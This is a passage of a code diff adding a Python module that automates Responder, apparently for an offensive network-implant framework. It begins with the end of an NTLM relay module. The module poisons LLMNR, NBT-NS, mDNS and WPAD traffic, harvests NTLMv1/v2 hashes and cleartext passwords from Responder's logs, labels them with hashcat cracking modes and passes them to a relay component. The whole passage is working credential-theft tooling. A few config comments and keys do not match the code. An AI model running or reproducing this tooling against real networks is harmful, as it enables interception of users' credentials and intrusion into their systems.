logger.info("ADCS certificate obtained via relay: %s", line)
# SOCKS proxy opened
elif "socks" in line.lower() and "connection" in line.lower():
logger.info("ntlmrelayx SOCKS: %s", line)
+426
View File
@@ -0,0 +1,426 @@
#!/usr/bin/env python3
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
Manages Responder as a supervised subprocess. Generates Responder.conf
from a Jinja2 template, monitors log output for captured NTLMv1/v2
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
ntlm_relay to exclude relay targets from Responder's SMB server.
Resources: ~30MB RAM, ~3% CPU
"""
import glob
import logging
import os
import re
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Regex for Responder hash log filenames
HASH_FILE_PATTERN = re.compile(
r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
)
# Regex for parsing NTLMv2 hash lines
NTLMV2_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
)
NTLMV1_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
)
class ResponderManager(BaseModule):
"""Responder subprocess manager with hash capture monitoring.
Dependencies:
- Responder installed at /opt/tools/Responder
Configuration:
responder_path: Path to Responder directory
interface: Network interface
protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
"""
name = "responder_mgr"
module_type = "active"
priority = 150
requires_root = True
HASH_POLL_INTERVAL = 10 # seconds
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._hash_thread: Optional[threading.Thread] = None
self._responder_path = config.get("responder_path", "/opt/tools/Responder")
self._iface = config.get("interface", "eth0")
self._log_dir = os.path.join(self._responder_path, "logs")
self._captured_hashes: list = []
self._hashes_lock = threading.Lock()
self._seen_hashes: set = set() # Dedup set
self._relay_targets: set = set() # IPs excluded from SMB for relay
self._protocols = {
"LLMNR": True,
"NBT-NS": True,
"mDNS": True,
"HTTP": True,
"SMB": True,
"WPAD": True,
"FTP": False,
"POP": False,
"IMAP": False,
"SMTP": False,
"LDAP": False,
}
self._template_dir = config.get(
"template_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
if not os.path.isdir(self._responder_path):
logger.error("Responder not found at %s", self._responder_path)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ResponderManager started (ready to launch Responder)")
def stop(self) -> None:
if not self._running:
return
self.stop_responder()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ResponderManager stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"responder_running": proc_alive,
"responder_pid": self._proc.pid if proc_alive else None,
"captured_hash_count": len(self._captured_hashes),
"interface": self._iface,
"relay_targets": list(self._relay_targets),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
if "relay_targets" in config:
self._relay_targets = set(config["relay_targets"])
if "protocols" in config:
self._protocols.update(config["protocols"])
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_responder(self, protocols: dict = None) -> bool:
"""Start Responder with configured protocols.
Args:
protocols: Optional dict overriding default protocol toggles.
Returns:
True if Responder was started.
"""
if not self._running:
logger.error("ResponderManager not started")
return False
if self._proc and self._proc.poll() is None:
logger.warning("Responder already running (pid=%d)", self._proc.pid)
return True
if protocols:
self._protocols.update(protocols)
# Generate Responder.conf from template
self._write_responder_conf()
# Build command
responder_py = os.path.join(self._responder_path, "Responder.py")
if not os.path.isfile(responder_py):
logger.error("Responder.py not found at %s", responder_py)
return False
cmd = ["python3", responder_py, "-I", self._iface, "-v"]
# Add protocol flags based on what we want DISABLED
if not self._protocols.get("WPAD"):
cmd.append("-w") # -w disables WPAD in newer Responder versions
# Responder's flags are for disabling features, not enabling them
# The .conf file controls which services are On/Off
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=self._responder_path,
)
time.sleep(2)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("Responder failed to start: %s", stderr)
return False
# Start hash file monitoring thread
self._hash_thread = threading.Thread(
target=self._hash_monitor_loop, daemon=True, name="sensor-responder-hashes"
)
self._hash_thread.start()
logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
return True
except Exception:
logger.exception("Failed to start Responder")
return False
def stop_responder(self) -> bool:
"""Stop the Responder subprocess.
Returns:
True if Responder was stopped.
"""
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop Responder")
return False
finally:
self._proc = None
logger.info("Responder stopped")
return True
def get_captured_hashes(self) -> list:
"""Return all captured hashes.
Returns:
List of dicts with hash details.
"""
with self._hashes_lock:
return list(self._captured_hashes)
def set_relay_targets(self, targets: set) -> None:
"""Set IPs that should be excluded from Responder's SMB server.
When coordinating with ntlm_relay, Responder should not respond
to targets that ntlmrelayx is relaying from.
Args:
targets: Set of IP addresses to exclude.
"""
self._relay_targets = set(targets)
# Regenerate config and restart if running
if self._proc and self._proc.poll() is None:
self._write_responder_conf()
logger.info("Updated relay exclusion targets: %s", targets)
# ------------------------------------------------------------------
# Responder.conf generation
# ------------------------------------------------------------------
def _write_responder_conf(self) -> None:
"""Generate Responder.conf from template or defaults."""
conf_path = os.path.join(self._responder_path, "Responder.conf")
# Try Jinja2 template first
template_path = os.path.join(self._template_dir, "Responder.conf.j2")
if os.path.isfile(template_path):
try:
from jinja2 import Environment, BaseLoader
with open(template_path, "r") as f:
template_content = f.read()
env = Environment(loader=BaseLoader(), autoescape=True)
tmpl = env.from_string(template_content)
rendered = tmpl.render(
protocols=self._protocols,
relay_targets=[str(ip) for ip in self._relay_targets],
interface=self._iface,
)
with open(conf_path, "w") as f:
f.write(rendered)
return
except ImportError:
logger.warning("Jinja2 not available — using inline config")
except Exception:
logger.exception("Failed to render Responder.conf template")
# Fallback: write config directly
smb_on = "On" if self._protocols.get("SMB") else "Off"
http_on = "On" if self._protocols.get("HTTP") else "Off"
conf = (
"[Responder Core]\n\n"
"; Servers to start\n"
f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
f"SMB = {smb_on}\n"
f"RDP = Off\n"
f"Kerberos = Off\n"
f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
f"HTTP = {http_on}\n"
f"HTTPS = {http_on}\n"
f"DNS = Off\n"
f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
f"DCERPC = Off\n"
f"WinRM = Off\n"
f"SNMP = Off\n"
f"MQTT = Off\n"
"\n"
"; Custom challenge\n"
"Challenge = Random\n"
"\n"
"; Set to On for downgrading to NTLMv1\n"
"DontRespondToNames =\n"
"\n"
)
with open(conf_path, "w") as f:
f.write(conf)
# ------------------------------------------------------------------
# Hash capture monitoring
# ------------------------------------------------------------------
def _hash_monitor_loop(self) -> None:
"""Monitor Responder log directory for new hash files."""
while self._running and self._proc and self._proc.poll() is None:
time.sleep(self.HASH_POLL_INTERVAL)
try:
self._scan_hash_files()
self._scan_session_log()
except Exception:
logger.exception("Hash monitor error")
def _scan_hash_files(self) -> None:
"""Scan Responder logs/ for NTLMv1/v2 hash files."""
if not os.path.isdir(self._log_dir):
return
for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
try:
with open(filepath, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
self._seen_hashes.add(line)
self._process_hash_line(line, filepath)
except Exception:
pass
def _scan_session_log(self) -> None:
"""Scan Responder-Session.log for cleartext credentials."""
session_log = os.path.join(self._log_dir, "Responder-Session.log")
if not os.path.isfile(session_log):
return
try:
with open(session_log, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
# Look for cleartext credential lines
if "Cleartext" in line or "Password" in line:
self._seen_hashes.add(line)
self._process_cleartext_line(line)
except Exception:
pass
def _process_hash_line(self, line: str, source_file: str) -> None:
"""Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
# Determine hash type from filename
hash_type = "ntlmv2"
hashcat_mode = 5600
if "NTLMv1" in source_file:
hash_type = "ntlmv1"
hashcat_mode = 5500
# Parse username and domain
match = NTLMV2_REGEX.match(line)
if not match:
match = NTLMV1_REGEX.match(line)
if match:
username = match.group("username")
domain = match.group("domain")
else:
username = line.split("::")[0] if "::" in line else "unknown"
domain = ""
hash_entry = {
"timestamp": time.time(),
"username": username,
"domain": domain,
"hash_type": hash_type,
"hashcat_mode": hashcat_mode,
"hash_value": line,
"source_file": source_file,
}
with self._hashes_lock:
self._captured_hashes.append(hash_entry)
emit_credential_found(self.bus, self.name, {
"source_module": self.name,
"source_ip": "",
"target_service": "responder",
"username": username,
"domain": domain,
"credential_type": hash_type,
"credential_value": line,
"hashcat_mode": hashcat_mode,
})
logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
def _process_cleartext_line(self, line: str) -> None:
"""Process a cleartext credential line from Responder session log."""
emit_credential_found(self.bus, self.name, {
"source_module": self.name,
"target_service": "responder_cleartext",
"credential_type": "cleartext",
"credential_value": line,
})